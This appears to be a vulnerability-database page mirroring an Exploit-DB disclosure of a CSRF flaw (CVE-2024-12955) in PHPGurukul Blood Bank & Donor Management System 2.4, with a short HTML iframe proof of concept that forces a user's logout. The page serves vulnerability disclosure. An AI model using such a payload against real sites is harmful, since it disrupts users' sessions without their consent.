| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2024-12955 | 26 Dec 202414:34 | โ | circl | |
| PHPGurukul Blood Bank & Donor Management ๅฎๅ จๆผๆด | 26 Dec 202400:00 | โ | cnnvd | |
| CVE-2024-12955 | 26 Dec 202414:31 | โ | cve | |
| CVE-2024-12955 PHPGurukul Blood Bank & Donor Management System logout.php cross-site request forgery | 26 Dec 202414:31 | โ | cvelist | |
| Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation | 17 Apr 202500:00 | โ | exploitdb | |
| EUVD-2024-51219 | 3 Oct 202520:07 | โ | euvd | |
| CVE-2024-12955 | 26 Dec 202415:15 | โ | nvd | |
| CVE-2024-12955 | 26 Dec 202415:15 | โ | osv | |
| PT-2024-17827 ยท Unknown ยท Phpgurukul Blood Bank & Donor Management System | 26 Dec 202400:00 | โ | ptsecurity | |
| CVE-2024-12955 | 23 May 202509:28 | โ | redhatcve |
# Exploit Title: Blood Bank & Donor Management System 2.4 - CSRF Improper Input Validation
# Google Dork: N/A
# Date: 2024-12-26
# Exploit Author: Kwangyun Keum
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system/
# Version: 2.4
# Tested on: Windows 10 / Kali Linux with Apache and MySQL
# CVE: CVE-2024-12955
## Description:
Blood Bank & Donor Management System v2.4 suffers from a Cross-Site Request
Forgery (CSRF) vulnerability due to the absence of CSRF tokens for critical
functionalities such as logout. An attacker can craft a malicious iframe
embedding the logout URL and trick a victim into clicking it. This results
in the victim being logged out without their consent.
## Steps to Reproduce:
1. Deploy Blood Bank & Donor Management System v2.4.
2. Log in as any user.
3. Use the following PoC to demonstrate the issue:
```html
<html>
<body>
<iframe
src="http://localhost/bbdms/logout.php"
style="border:0px #FFFFFF none;"
name="myLogoutFrame"
scrolling="no"
frameborder="1"
marginheight="0px"
marginwidth="0px"
height="400px"
width="600px"
allowfullscreen>
</iframe>
</body>
</html>
4. Save the above HTML code as logout_poc.html.
5.Open the file in a browser and click anywhere on the page to trigger the
logout.Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation